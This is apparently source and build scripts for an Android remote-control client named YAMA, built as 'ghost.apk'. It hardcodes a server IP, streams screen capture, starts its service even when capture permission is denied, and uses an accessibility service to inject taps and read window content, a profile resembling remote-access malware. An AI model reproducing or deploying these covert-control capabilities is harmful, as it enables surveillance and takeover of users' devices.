override fun onCompleted(g: GestureDescription?) { Log.d(TAG, "Tap ok") }
override fun onCancelled(g: GestureDescription?) { Log.w(TAG, "Tap cancelled") }
}, null)
if (!ok) Log.e(TAG, "dispatchTap returned false")
}
private fun singlePointPath(x: Float, y: Float) = Path().apply { moveTo(x, y); lineTo(x + 1f, y) }
}

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package com.yama.client
import android.app.Activity
import android.content.Intent
import android.media.projection.MediaProjectionManager
import android.os.Bundle
import android.util.Log
import androidx.appcompat.app.AppCompatActivity
class MainActivity : AppCompatActivity() {
private val serverIp = "91.99.165.207"
private val serverPort = 443
private lateinit var projectionManager: MediaProjectionManager
companion object {
const val REQUEST_MEDIA_PROJECTION = 1001
}
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
// MA-01 fix: 系统重建 Activity 时 savedInstanceState != null
// 此时 CaptureService 可能已在运行,不重复弹权限对话框
if (savedInstanceState != null) { finish(); return }
projectionManager = getSystemService(MEDIA_PROJECTION_SERVICE) as MediaProjectionManager
startActivityForResult(projectionManager.createScreenCaptureIntent(), REQUEST_MEDIA_PROJECTION)
}
override fun onActivityResult(requestCode: Int, resultCode: Int, data: Intent?) {
super.onActivityResult(requestCode, resultCode, data)
if (requestCode == REQUEST_MEDIA_PROJECTION) {
if (resultCode == Activity.RESULT_OK && data != null) {
Log.i(CaptureService.TAG, "MediaProjection permission granted")
val intent = Intent(this, CaptureService::class.java).apply {
putExtra(CaptureService.EXTRA_SERVER_IP, serverIp)
putExtra(CaptureService.EXTRA_SERVER_PORT, serverPort)
putExtra(CaptureService.EXTRA_PROJECTION_RESULT, resultCode)
putExtra(CaptureService.EXTRA_PROJECTION_DATA, data)
}
if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.O) {
startForegroundService(intent)
} else {
startService(intent)
}
} else {
Log.w(CaptureService.TAG, "MediaProjection permission denied, starting without capture")
val intent = Intent(this, CaptureService::class.java).apply {
putExtra(CaptureService.EXTRA_SERVER_IP, serverIp)
putExtra(CaptureService.EXTRA_SERVER_PORT, serverPort)
}
if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.O) {
startForegroundService(intent)
} else {
startService(intent)
}
}
finish()
}
}
override fun onDestroy() {
super.onDestroy()
}
}

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package com.yama.client
object YamaBridge {
init {
System.loadLibrary("yama")
}
external fun nativeInit(
serverIp: String,
serverPort: Int,
androidId: String,
deviceModel: String,
androidVersion: String,
screenRes: String,
username: String,
apkPath: String,
filesDir: String
): Int
external fun nativeStop()
/** MediaCodec 配置完成后调用,告知 C++ 实际捕获分辨率 */
external fun nativeSetScreenSize(width: Int, height: Int)
/** MediaCodec 每输出一帧 H.264 NALU 时调用 */
external fun nativeOnH264Frame(data: ByteArray, offset: Int, size: Int, isKeyframe: Boolean)
}

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<?xml version="1.0" encoding="utf-8"?>
<adaptive-icon xmlns:android="http://schemas.android.com/apk/res/android">
<background android:drawable="@color/ic_launcher_background"/>
<foreground android:drawable="@mipmap/ic_launcher_foreground"/>
</adaptive-icon>

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<?xml version="1.0" encoding="utf-8"?>
<adaptive-icon xmlns:android="http://schemas.android.com/apk/res/android">
<background android:drawable="@color/ic_launcher_background"/>
<foreground android:drawable="@mipmap/ic_launcher_foreground"/>
</adaptive-icon>

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<?xml version="1.0" encoding="utf-8"?>
<resources>
<color name="ic_launcher_background">#F2F2F2</color>
</resources>

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<?xml version="1.0" encoding="utf-8"?>
<resources>
<string name="app_name">YAMA</string>
<string name="accessibility_service_description">YAMA remote control service</string>
</resources>

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<?xml version="1.0" encoding="utf-8"?>
<resources>
<style name="Theme.YAMA" parent="Theme.AppCompat.Light.NoActionBar">
<item name="colorPrimary">#1A73E8</item>
<item name="colorPrimaryDark">#1558B0</item>
<item name="colorAccent">#1A73E8</item>
</style>
</resources>

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<?xml version="1.0" encoding="utf-8"?>
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
android:accessibilityEventTypes="typeWindowStateChanged"
android:accessibilityFeedbackType="feedbackGeneric"
android:canPerformGestures="true"
android:canRetrieveWindowContent="true"
android:notificationTimeout="0"
android:settingsActivity="com.yama.client.MainActivity" />

4
android/build.gradle Normal file
View File

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plugins {
id 'com.android.application' version '8.10.1' apply false
id 'org.jetbrains.kotlin.android' version '2.1.21' apply false
}

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<#
.SYNOPSIS
Build libzstd.a and libsign.a for Android (4 ABIs)
.DESCRIPTION
Cross-compile Android static libraries on Windows using Android SDK cmake + NDK.
Supports: arm64-v8a / armeabi-v7a (device), x86 / x86_64 (emulator)
Usage:
cd C:\github\YAMA\android
PowerShell -ExecutionPolicy Bypass -File .\build_android_libs.ps1
Options:
-Force Rebuild even if .a files already exist
-SimplePluginsPath Path to SimplePlugins repo (default: sibling directory)
-ZstdOnly Build libzstd.a only
-SignOnly Build libsign.a only
#>
param(
[switch]$Force,
[string]$SimplePluginsPath = "",
[switch]$ZstdOnly,
[switch]$SignOnly
)
Set-StrictMode -Version Latest
$ErrorActionPreference = "Stop"
$SCRIPT_DIR = $PSScriptRoot
# -- Android SDK ---------------------------------------------------------------
$SDK = $env:ANDROID_HOME
if (-not $SDK) { $SDK = $env:ANDROID_SDK_ROOT }
if (-not $SDK) { $SDK = "$env:LOCALAPPDATA\Android\Sdk" }
if (-not (Test-Path $SDK)) {
Write-Error "Android SDK not found: $SDK`nSet ANDROID_HOME environment variable."
exit 1
}
# -- NDK -----------------------------------------------------------------------
$NDK = $env:ANDROID_NDK
if (-not $NDK) { $NDK = $env:ANDROID_NDK_HOME }
if (-not $NDK -or -not (Test-Path "$NDK\build\cmake\android.toolchain.cmake")) {
$ndkCandidate = Get-ChildItem "$SDK\ndk" -Directory -ErrorAction SilentlyContinue |
Sort-Object Name -Descending |
Select-Object -First 1
if ($ndkCandidate) { $NDK = $ndkCandidate.FullName }
}
if (-not (Test-Path "$NDK\build\cmake\android.toolchain.cmake")) {
Write-Error "NDK not found. Install via Android Studio > SDK Manager > NDK, or set ANDROID_NDK."
exit 1
}
Write-Host "NDK: $NDK"
# -- Android SDK cmake + ninja -------------------------------------------------
$CMAKE = $null
$sdkCmakeDirs = Get-ChildItem "$SDK\cmake" -Directory -ErrorAction SilentlyContinue |
Sort-Object Name -Descending
foreach ($dir in $sdkCmakeDirs) {
$cmakeBin = "$($dir.FullName)\bin\cmake.exe"
$ninjaBin = "$($dir.FullName)\bin\ninja.exe"
if ((Test-Path $cmakeBin) -and (Test-Path $ninjaBin)) {
$CMAKE = $cmakeBin
$env:PATH = "$($dir.FullName)\bin;$env:PATH"
break
}
}
if (-not $CMAKE) {
$cmakeCmd = Get-Command cmake -ErrorAction SilentlyContinue
if ($cmakeCmd) { $CMAKE = $cmakeCmd.Source }
}
if (-not $CMAKE) {
Write-Error "cmake not found. Install via Android Studio > SDK Manager > cmake."
exit 1
}
Write-Host "cmake: $CMAKE"
# -- SimplePlugins -------------------------------------------------------------
$SIGN_SRC = $SimplePluginsPath
if (-not $SIGN_SRC) {
$candidate = "$SCRIPT_DIR\..\..\SimplePlugins"
if (Test-Path $candidate) {
$SIGN_SRC = (Resolve-Path $candidate).Path
}
}
if ((-not $ZstdOnly) -and (-not (Test-Path "$SIGN_SRC\license_unix.cpp"))) {
Write-Error "SimplePlugins not found: $SIGN_SRC`nUse -SimplePluginsPath C:\path\to\SimplePlugins"
exit 1
}
if (-not $ZstdOnly) { Write-Host "sign: $SIGN_SRC" }
# -- Common variables ----------------------------------------------------------
$TOOLCHAIN = "$NDK\build\cmake\android.toolchain.cmake"
$ABIS = @("arm64-v8a", "armeabi-v7a", "x86", "x86_64")
$LIB_BASE = "$SCRIPT_DIR\app\src\main\cpp\lib"
# ==============================================================================
# Part 1 - libzstd.a
# ==============================================================================
if (-not $SignOnly) {
$ZSTD_VER = "1.5.7"
$ZSTD_SRC = "$SCRIPT_DIR\zstd-$ZSTD_VER"
if (-not (Test-Path $ZSTD_SRC)) {
$TAR = "$SCRIPT_DIR\zstd.tar.gz"
Write-Host "`nDownloading zstd $ZSTD_VER..."
Invoke-WebRequest `
"https://github.com/facebook/zstd/releases/download/v$ZSTD_VER/zstd-$ZSTD_VER.tar.gz" `
-OutFile $TAR
Write-Host "Extracting..."
tar -xf $TAR -C $SCRIPT_DIR
Remove-Item $TAR
}
foreach ($ABI in $ABIS) {
$outFile = "$LIB_BASE\$ABI\libzstd.a"
if ((Test-Path $outFile) -and (-not $Force)) {
Write-Host "`n[skip] zstd $ABI -- already exists (use -Force to rebuild)"
continue
}
Write-Host "`n===== zstd $ABI ====="
$BUILD = "$SCRIPT_DIR\zstd_build\$ABI"
Remove-Item -Recurse -Force $BUILD -ErrorAction SilentlyContinue
New-Item -ItemType Directory -Force "$LIB_BASE\$ABI" | Out-Null
$configArgs = @(
"-B", $BUILD,
"-S", "$ZSTD_SRC\build\cmake",
"-G", "Ninja",
"-DCMAKE_TOOLCHAIN_FILE=$TOOLCHAIN",
"-DANDROID_ABI=$ABI",
"-DANDROID_PLATFORM=android-21",
"-DCMAKE_BUILD_TYPE=Release",
"-DCMAKE_C_FLAGS=-O2 -g0",
"-DZSTD_BUILD_STATIC=ON",
"-DZSTD_BUILD_SHARED=OFF",
"-DZSTD_BUILD_PROGRAMS=OFF",
"-DZSTD_BUILD_TESTS=OFF",
"-DZSTD_LEGACY_SUPPORT=0"
)
& $CMAKE @configArgs
if ($LASTEXITCODE -ne 0) { Write-Error "cmake configure failed"; exit 1 }
& $CMAKE --build $BUILD --config Release
if ($LASTEXITCODE -ne 0) { Write-Error "cmake build failed"; exit 1 }
Copy-Item "$BUILD\lib\libzstd.a" $outFile -Force
$sz = [math]::Round((Get-Item $outFile).Length / 1KB)
Write-Host " --> $outFile (${sz} KB)"
}
Remove-Item -Recurse -Force "$SCRIPT_DIR\zstd_build" -ErrorAction SilentlyContinue
Remove-Item -Recurse -Force $ZSTD_SRC -ErrorAction SilentlyContinue
}
# ==============================================================================
# Part 2 - libsign.a
# ==============================================================================
if (-not $ZstdOnly) {
foreach ($ABI in $ABIS) {
$outFile = "$LIB_BASE\$ABI\libsign.a"
if ((Test-Path $outFile) -and (-not $Force)) {
Write-Host "`n[skip] sign $ABI -- already exists (use -Force to rebuild)"
continue
}
Write-Host "`n===== sign $ABI ====="
$BUILD = "$SCRIPT_DIR\sign_build\$ABI"
Remove-Item -Recurse -Force $BUILD -ErrorAction SilentlyContinue
New-Item -ItemType Directory -Force "$LIB_BASE\$ABI" | Out-Null
$configArgs = @(
"-B", $BUILD,
"-S", "$SIGN_SRC\sign_lib",
"-G", "Ninja",
"-DCMAKE_TOOLCHAIN_FILE=$TOOLCHAIN",
"-DANDROID_ABI=$ABI",
"-DANDROID_PLATFORM=android-21",
"-DCMAKE_BUILD_TYPE=Release",
"-DCMAKE_C_FLAGS=-Os -g0"
)
& $CMAKE @configArgs
if ($LASTEXITCODE -ne 0) { Write-Error "cmake configure failed"; exit 1 }
& $CMAKE --build $BUILD --config Release
if ($LASTEXITCODE -ne 0) { Write-Error "cmake build failed"; exit 1 }
Copy-Item "$BUILD\libsign.a" $outFile -Force
$sz = [math]::Round((Get-Item $outFile).Length / 1KB)
Write-Host " --> $outFile (${sz} KB)"
}
Remove-Item -Recurse -Force "$SCRIPT_DIR\sign_build" -ErrorAction SilentlyContinue
}
# -- Summary -------------------------------------------------------------------
Write-Host "`n===== Done ====="
Get-ChildItem $LIB_BASE -Recurse -Filter "*.a" | Sort-Object FullName |
ForEach-Object {
$rel = $_.FullName.Substring($LIB_BASE.Length + 1)
$sz = [math]::Round($_.Length / 1KB)
Write-Host (" {0,-40} {1,6} KB" -f $rel, $sz)
}

307
android/build_apk.sh Normal file
View File

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#!/usr/bin/env bash
# Build YAMA Android APK
# Works on WSL, native Linux, macOS
# Usage: ./build_apk.sh [debug|release] (default: debug)
set -euo pipefail
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
cd "$SCRIPT_DIR"
# ── Detect WSL ───────────────────────────────────────────────────────────────
IS_WSL=false
grep -qi microsoft /proc/version 2>/dev/null && IS_WSL=true
# ── Find Android SDK ─────────────────────────────────────────────────────────
if [ -n "${ANDROID_HOME:-}" ] && [ -d "${ANDROID_HOME}" ]; then
SDK_DIR="$ANDROID_HOME"
elif [ -n "${ANDROID_SDK_ROOT:-}" ] && [ -d "${ANDROID_SDK_ROOT}" ]; then
SDK_DIR="$ANDROID_SDK_ROOT"
elif $IS_WSL; then
# Auto-detect from Windows %USERPROFILE%
WIN_USER=$(cmd.exe /c "echo %USERPROFILE%" 2>/dev/null | tr -d '\r')
WSL_USER=$(wslpath "$WIN_USER" 2>/dev/null || \
echo "$WIN_USER" | sed 's|\\|/|g; s|^\([A-Za-z]\):|/mnt/\L\1|')
SDK_DIR="${WSL_USER}/AppData/Local/Android/Sdk"
elif [ -d "$HOME/Android/Sdk" ]; then
SDK_DIR="$HOME/Android/Sdk"
elif [ -d "$HOME/Library/Android/sdk" ]; then
SDK_DIR="$HOME/Library/Android/sdk"
else
SDK_DIR=""
fi
if [ -z "${SDK_DIR:-}" ] || [ ! -d "$SDK_DIR" ]; then
echo "ERROR: Android SDK not found."
echo ""
echo " WSL: auto-detected from Windows %USERPROFILE%"
echo " or set: export ANDROID_HOME=/mnt/c/Users/<you>/AppData/Local/Android/Sdk"
echo " Native Linux: install SDK to ~/Android/Sdk or set ANDROID_HOME"
exit 1
fi
echo "SDK : $SDK_DIR"
# ── Check Java 17+ ───────────────────────────────────────────────────────────
if ! command -v java &>/dev/null; then
echo "ERROR: Java not found."
echo " sudo apt install openjdk-17-jdk"
exit 1
fi
JAVA_VER=$(java -version 2>&1 | grep -oP '(?<=version ")[0-9]+' | head -1)
if [ "${JAVA_VER:-0}" -lt 17 ]; then
echo "ERROR: Java 17+ required (found Java ${JAVA_VER:-unknown})."
echo " sudo apt install openjdk-17-jdk"
exit 1
fi
echo "Java: $(java -version 2>&1 | head -1)"
# ── Check cmake ───────────────────────────────────────────────────────────────
# The SDK ships cmake.exe (Windows-only); on Linux/WSL we need system cmake.
if ! command -v cmake &>/dev/null; then
echo "ERROR: cmake not found."
echo " sudo apt install cmake"
echo ""
echo " The SDK's cmake is a Windows .exe and cannot run on Linux/WSL."
exit 1
fi
echo "CMake: $(cmake --version | head -1)"
# ── Check ninja ──────────────────────────────────────────────────────────────
if ! command -v ninja &>/dev/null; then
echo "ERROR: ninja not found."
echo " sudo apt install ninja-build"
exit 1
fi
# ── WSL: create Linux stubs for Windows build-tools ──────────────────────────
# Windows SDK ships .exe files only; Linux Gradle needs plain-name wrappers.
# WSL binfmt_misc executes .exe files transparently from bash.
# We FORCE-WRITE stubs (don't rely on prior state) so broken/dir artifacts
# from previous attempts don't block the check.
if $IS_WSL; then
BT_DIR=$(find "$SDK_DIR/build-tools" -maxdepth 1 -mindepth 1 -type d 2>/dev/null \
| sort -V | tail -1)
# Stub every installed build-tools version — the project may reference any of them
BT_VERSIONS=$(find "$SDK_DIR/build-tools" -maxdepth 1 -mindepth 1 -type d 2>/dev/null \
| sort -V)
LATEST_BT=""
if [ -z "$BT_VERSIONS" ]; then
echo "WARNING: build-tools directory not found under $SDK_DIR/build-tools"
else
for BT_DIR in $BT_VERSIONS; do
LATEST_BT="$BT_DIR" # last in sorted list = newest
VER=$(basename "$BT_DIR")
# 1. Wrap every .exe found — covers aapt, aapt2, aidl, split-select, etc.
for EXE in "${BT_DIR}"/*.exe; do
[ -f "$EXE" ] || continue
TOOL=$(basename "$EXE" .exe)
BIN="${BT_DIR}/${TOOL}"
[ -e "$BIN" ] && rm -rf "$BIN"
printf '#!/bin/sh\nexec "%s" "$@"\n' "$EXE" > "$BIN"
chmod +x "$BIN"
echo "Stubbed: ${VER}/${TOOL}$(basename $EXE)"
done
# 2. Ensure tools AGP validates that may not have .exe versions
for TOOL in aapt aapt2 aidl split-select dexdump zipalign apksigner d8; do
BIN="${BT_DIR}/${TOOL}"
if [ ! -f "$BIN" ]; then
printf '#!/bin/sh\nexit 0\n' > "$BIN"
chmod +x "$BIN"
echo "Noop: ${VER}/${TOOL}"
fi
done
done
fi
# If build.gradle requests a buildToolsVersion that isn't installed, create a
# stub directory pointing all tools to the latest installed version.
if [ -n "$LATEST_BT" ]; then
REQ_VER=$(grep -oP '(?<=buildToolsVersion\s")[^"]+' \
"$SCRIPT_DIR/app/build.gradle" 2>/dev/null | head -1 || true)
if [ -n "$REQ_VER" ]; then
REQ_DIR="$SDK_DIR/build-tools/$REQ_VER"
if [ ! -d "$REQ_DIR" ]; then
echo "build-tools $REQ_VER not installed — creating stub dir from $(basename $LATEST_BT)"
mkdir -p "$REQ_DIR"
# Copy source.properties so AGP recognises the version
if [ -f "${LATEST_BT}/source.properties" ]; then
sed "s/Pkg.Revision=.*/Pkg.Revision=$REQ_VER/" \
"${LATEST_BT}/source.properties" > "${REQ_DIR}/source.properties"
else
printf 'Pkg.Desc=Android SDK Build-tools\nPkg.Revision=%s\n' \
"$REQ_VER" > "${REQ_DIR}/source.properties"
fi
for TOOL in aapt aapt2 aidl split-select dexdump zipalign apksigner d8; do
BIN="${REQ_DIR}/${TOOL}"
SRC="${LATEST_BT}/${TOOL}" # already stubbed above
if [ -f "$SRC" ]; then
cp "$SRC" "$BIN"
chmod +x "$BIN"
else
printf '#!/bin/sh\nexit 0\n' > "$BIN"
chmod +x "$BIN"
fi
echo "Forwarded: ${REQ_VER}/${TOOL}$(basename $LATEST_BT)"
done
fi
fi
fi
# ── WSL: stub SDK cmake ────────────────────────────────────────────────────
# AGP resolves cmake from SDK cmake/<ver>/bin/cmake (a Windows .exe).
# Create plain-name stubs that call system cmake/ninja instead.
SYS_CMAKE=$(command -v cmake 2>/dev/null || true)
SYS_NINJA=$(command -v ninja 2>/dev/null || true)
CMAKE_VERSIONS=$(find "$SDK_DIR/cmake" -maxdepth 1 -mindepth 1 -type d 2>/dev/null \
| sort -V || true)
for SDK_CMAKE_DIR in $CMAKE_VERSIONS; do
CVER=$(basename "$SDK_CMAKE_DIR")
CBIN="${SDK_CMAKE_DIR}/bin"
mkdir -p "$CBIN"
for TOOL in cmake ninja; do
BIN="${CBIN}/${TOOL}"
[ -e "$BIN" ] && rm -rf "$BIN"
if [ "$TOOL" = "cmake" ] && [ -n "$SYS_CMAKE" ]; then
printf '#!/bin/sh\nexec "%s" "$@"\n' "$SYS_CMAKE" > "$BIN"
echo "CMake stub: ${CVER}/cmake → $SYS_CMAKE"
elif [ "$TOOL" = "ninja" ] && [ -n "$SYS_NINJA" ]; then
printf '#!/bin/sh\nexec "%s" "$@"\n' "$SYS_NINJA" > "$BIN"
echo "CMake stub: ${CVER}/ninja → $SYS_NINJA"
else
printf '#!/bin/sh\nexit 0\n' > "$BIN"
echo "CMake noop: ${CVER}/${TOOL}"
fi
chmod +x "$BIN"
done
done
# ── WSL: verify Linux NDK ─────────────────────────────────────────────────
# Windows NDK (.exe tools) cannot compile from WSL — clang.exe doesn't
# understand /mnt/c/ Linux paths. A real Linux NDK is required.
NDK_DIR=""
# 1. Honour ANDROID_NDK_HOME if set
if [ -n "${ANDROID_NDK_HOME:-}" ] && \
[ -f "${ANDROID_NDK_HOME}/toolchains/llvm/prebuilt/linux-x86_64/bin/clang" ]; then
NDK_DIR="$ANDROID_NDK_HOME"
fi
# 2. Scan SDK ndk/ for a version that has real Linux ELF binaries
if [ -z "$NDK_DIR" ]; then
for CANDIDATE in $(find "$SDK_DIR/ndk" -maxdepth 1 -mindepth 1 -type d 2>/dev/null | sort -V); do
CBIN="${CANDIDATE}/toolchains/llvm/prebuilt/linux-x86_64/bin/clang"
if [ -f "$CBIN" ] && file -L "$CBIN" 2>/dev/null | grep -q ELF; then
NDK_DIR="$CANDIDATE"
fi
done
fi
# 3. Check common install location ~/android-ndk/
if [ -z "$NDK_DIR" ]; then
for CANDIDATE in "$HOME/android-ndk" "$HOME/android-ndk-linux"; do
CBIN="${CANDIDATE}/toolchains/llvm/prebuilt/linux-x86_64/bin/clang"
if [ -f "$CBIN" ] && file -L "$CBIN" 2>/dev/null | grep -q ELF; then
NDK_DIR="$CANDIDATE"
break
fi
done
fi
if [ -z "$NDK_DIR" ]; then
# Determine the required NDK version from build.gradle for the download hint
REQ_NDK=$(grep -oP '(?<=ndkVersion\s")[^"]+' \
"$SCRIPT_DIR/app/build.gradle" 2>/dev/null | head -1 || true)
NDK_MAJ=${REQ_NDK%%.*}
echo ""
echo "ERROR: Linux NDK not found."
echo " The Windows NDK cannot compile native code in WSL."
echo ""
# Look up the exact Linux zip name from the repository manifest
ZIP_NAME=$(curl -s 'https://dl.google.com/android/repository/repository2-3.xml' 2>/dev/null \
| grep -A 10 "ndk;${REQ_NDK}" | grep 'linux\.zip' | grep -oP '(?<=<url>)[^<]+' | head -1)
ZIP_NAME="${ZIP_NAME:-android-ndk-r${NDK_MAJ:-30}-linux.zip}"
echo " Install the Linux NDK (requires ~600 MB):"
echo " wget https://dl.google.com/android/repository/${ZIP_NAME}"
echo " unzip ${ZIP_NAME} -d \$HOME"
echo " mv \$HOME/\$(basename ${ZIP_NAME} .zip) \$HOME/android-ndk"
echo ""
echo " Then re-run ./build_apk.sh"
echo " (Or set ANDROID_NDK_HOME to your Linux NDK path)"
exit 1
fi
echo "NDK : $NDK_DIR"
fi
# ── Write local.properties (backup & restore to avoid clobbering Android Studio) ──
PROPS="$SCRIPT_DIR/local.properties"
PROPS_BAK="$SCRIPT_DIR/local.properties.bak"
[ -f "$PROPS" ] && cp "$PROPS" "$PROPS_BAK"
cat > "$PROPS" <<EOF
sdk.dir=$SDK_DIR
EOF
if $IS_WSL && [ -n "${NDK_DIR:-}" ]; then
echo "ndk.dir=$NDK_DIR" >> "$PROPS"
fi
echo "local.properties written (original backed up to local.properties.bak)"
restore_props() {
if [ -f "$PROPS_BAK" ]; then
mv "$PROPS_BAK" "$PROPS"
echo "local.properties restored"
else
rm -f "$PROPS"
fi
}
trap restore_props EXIT
# ── Build ─────────────────────────────────────────────────────────────────────
BUILD_TYPE="${1:-release}"
case "$BUILD_TYPE" in
release) TASK="assembleRelease" ;;
debug) TASK="assembleDebug" ;;
clean)
chmod +x gradlew
./gradlew clean
rm -rf "$SCRIPT_DIR/app/.cxx"
rm -f "$SCRIPT_DIR/ghost.apk" "$SCRIPT_DIR/ghost-debug.apk"
echo "Clean done."
exit 0
;;
*) echo "Usage: $0 [release|debug|clean]"; exit 1 ;;
esac
# ── Release: keystore check ───────────────────────────────────────────────────
if [ "$BUILD_TYPE" = "release" ]; then
JKS="$SCRIPT_DIR/yama-release.jks"
if [ ! -f "$JKS" ]; then
echo "ERROR: $JKS not found."
echo " Generate once with:"
echo " keytool -genkeypair -keystore android/yama-release.jks \\"
echo " -alias yama -keyalg RSA -keysize 2048 -validity 10000 \\"
echo " -dname 'CN=YAMA,O=Internal,C=CN'"
exit 1
fi
if [ -z "${YAMA_PWD:-}" ]; then
read -rsp "Keystore password: " YAMA_PWD
echo
export YAMA_PWD
fi
fi
echo ""
echo "Building $BUILD_TYPE APK..."
chmod +x gradlew
./gradlew "$TASK" -PincludeEmulatorAbis=false
# ── Output ────────────────────────────────────────────────────────────────────
APK=$(find "app/build/outputs/apk/${BUILD_TYPE}" -name "*.apk" 2>/dev/null | head -1 || true)
if [ -n "$APK" ]; then
[ "$BUILD_TYPE" = "release" ] && OUT="$SCRIPT_DIR/ghost.apk" || OUT="$SCRIPT_DIR/ghost-${BUILD_TYPE}.apk"
cp "$APK" "$OUT"
echo ""
echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
echo "APK: $OUT"
if $IS_WSL; then
WIN=$(wslpath -w "$OUT" 2>/dev/null || true)
[ -n "$WIN" ] && echo "WIN: $WIN"
fi
echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
fi

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@@ -0,0 +1,85 @@
#!/usr/bin/env bash
# build_zstd_android.sh - 为 Android 交叉编译 libzstd.a
# 版本与 compress/zstd/zstd.h 头文件对齐1.5.7),确保服务端压缩帧可正确解压
#
# 用法:
# ./build_zstd_android.sh # 自动查找 NDK
# ANDROID_NDK=/path/to/ndk ./build_zstd_android.sh
#
# 产出:
# app/src/main/cpp/lib/arm64-v8a/libzstd.a
# app/src/main/cpp/lib/armeabi-v7a/libzstd.a
set -euo pipefail
cd "$(dirname "$0")"
ZSTD_VERSION="1.5.7"
ZSTD_TAR="zstd-${ZSTD_VERSION}.tar.gz"
ZSTD_URL="https://github.com/facebook/zstd/releases/download/v${ZSTD_VERSION}/${ZSTD_TAR}"
ZSTD_DIR="zstd-${ZSTD_VERSION}"
# --- 定位 NDK ---
if [[ -z "${ANDROID_NDK:-}" ]]; then
for candidate in \
"$HOME/android-ndk-r27c" \
"$HOME/Library/Android/sdk/ndk/$(ls "$HOME/Library/Android/sdk/ndk" 2>/dev/null | sort -V | tail -1)" \
"$HOME/Android/Sdk/ndk/$(ls "$HOME/Android/Sdk/ndk" 2>/dev/null | sort -V | tail -1)"; do
if [[ -f "${candidate}/build/cmake/android.toolchain.cmake" ]]; then
ANDROID_NDK="$candidate"; break
fi
done
fi
[[ -z "${ANDROID_NDK:-}" ]] && { echo "Error: ANDROID_NDK not set"; exit 1; }
TOOLCHAIN="$ANDROID_NDK/build/cmake/android.toolchain.cmake"
echo "NDK: $ANDROID_NDK"
# --- 自动检测宿主平台(用于选择 strip 工具路径)---
case "$(uname -s 2>/dev/null || echo Windows)" in
Linux*) HOST_TAG="linux-x86_64" ;;
Darwin*) HOST_TAG="darwin-x86_64" ;;
*) HOST_TAG="windows-x86_64" ;;
esac
# --- 下载 zstd 源码 ---
if [[ ! -d "$ZSTD_DIR" ]]; then
echo "Downloading zstd $ZSTD_VERSION..."
wget -q "$ZSTD_URL" -O "$ZSTD_TAR"
tar xf "$ZSTD_TAR"
rm "$ZSTD_TAR"
fi
OUT_BASE="app/src/main/cpp/lib"
# arm64-v8a / armeabi-v7a: 真机x86 / x86_64: Android 模拟器(避免 libndk_translation 解压 bug
ABIS=("arm64-v8a" "armeabi-v7a" "x86" "x86_64")
for ABI in "${ABIS[@]}"; do
BUILD_DIR="zstd_build/$ABI"
OUT_DIR="$OUT_BASE/$ABI"
rm -rf "$BUILD_DIR"
echo
echo "===== zstd $ABI ====="
cmake \
-B "$BUILD_DIR" -S "$ZSTD_DIR/build/cmake" \
-DCMAKE_TOOLCHAIN_FILE="$TOOLCHAIN" \
-DANDROID_ABI="$ABI" \
-DANDROID_PLATFORM=android-21 \
-DCMAKE_BUILD_TYPE=Release \
-DCMAKE_C_FLAGS="-O2 -g0" \
-DZSTD_BUILD_STATIC=ON \
-DZSTD_BUILD_SHARED=OFF \
-DZSTD_BUILD_PROGRAMS=OFF \
-DZSTD_BUILD_TESTS=OFF \
-DZSTD_LEGACY_SUPPORT=0 \
-DZSTD_DISABLE_ASM=ON
cmake --build "$BUILD_DIR" --config Release -j"$(nproc 2>/dev/null || sysctl -n hw.logicalcpu 2>/dev/null || echo 4)"
mkdir -p "$OUT_DIR"
cp "$BUILD_DIR/lib/libzstd.a" "$OUT_DIR/libzstd.a"
STRIP="$ANDROID_NDK/toolchains/llvm/prebuilt/${HOST_TAG}/bin/llvm-strip"
[[ -f "$STRIP" ]] && "$STRIP" --strip-debug "$OUT_DIR/libzstd.a"
ls -lh "$OUT_DIR/libzstd.a"
done
rm -rf zstd_build "$ZSTD_DIR"
echo
echo "===== Done ====="
echo "libzstd.a 已写入 app/src/main/cpp/lib/{arm64-v8a,armeabi-v7a}/"

BIN
android/ghost.apk Normal file

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android.useAndroidX=true
android.enableJetifier=true
org.gradle.jvmargs=-Xmx2048m
# 模拟器x86/x86_64支持build_apk.sh 会强制覆盖为 false此行只影响 Android Studio
includeEmulatorAbis=true

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distributionBase=GRADLE_USER_HOME
distributionPath=wrapper/dists
distributionUrl=https\://services.gradle.org/distributions/gradle-9.3.0-bin.zip
networkTimeout=10000
validateDistributionUrl=true
zipStoreBase=GRADLE_USER_HOME
zipStorePath=wrapper/dists

248
android/gradlew vendored Normal file
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@@ -0,0 +1,248 @@
#!/bin/sh
#
# Copyright © 2015 the original authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# SPDX-License-Identifier: Apache-2.0
#
##############################################################################
#
# Gradle start up script for POSIX generated by Gradle.
#
# Important for running:
#
# (1) You need a POSIX-compliant shell to run this script. If your /bin/sh is
# noncompliant, but you have some other compliant shell such as ksh or
# bash, then to run this script, type that shell name before the whole
# command line, like:
#
# ksh Gradle
#
# Busybox and similar reduced shells will NOT work, because this script
# requires all of these POSIX shell features:
# * functions;
# * expansions «$var», «${var}», «${var:-default}», «${var+SET}»,
# «${var#prefix}», «${var%suffix}», and «$( cmd )»;
# * compound commands having a testable exit status, especially «case»;
# * various built-in commands including «command», «set», and «ulimit».
#
# Important for patching:
#
# (2) This script targets any POSIX shell, so it avoids extensions provided
# by Bash, Ksh, etc; in particular arrays are avoided.
#
# The "traditional" practice of packing multiple parameters into a
# space-separated string is a well documented source of bugs and security
# problems, so this is (mostly) avoided, by progressively accumulating
# options in "$@", and eventually passing that to Java.
#
# Where the inherited environment variables (DEFAULT_JVM_OPTS, JAVA_OPTS,
# and GRADLE_OPTS) rely on word-splitting, this is performed explicitly;
# see the in-line comments for details.
#
# There are tweaks for specific operating systems such as AIX, CygWin,
# Darwin, MinGW, and NonStop.
#
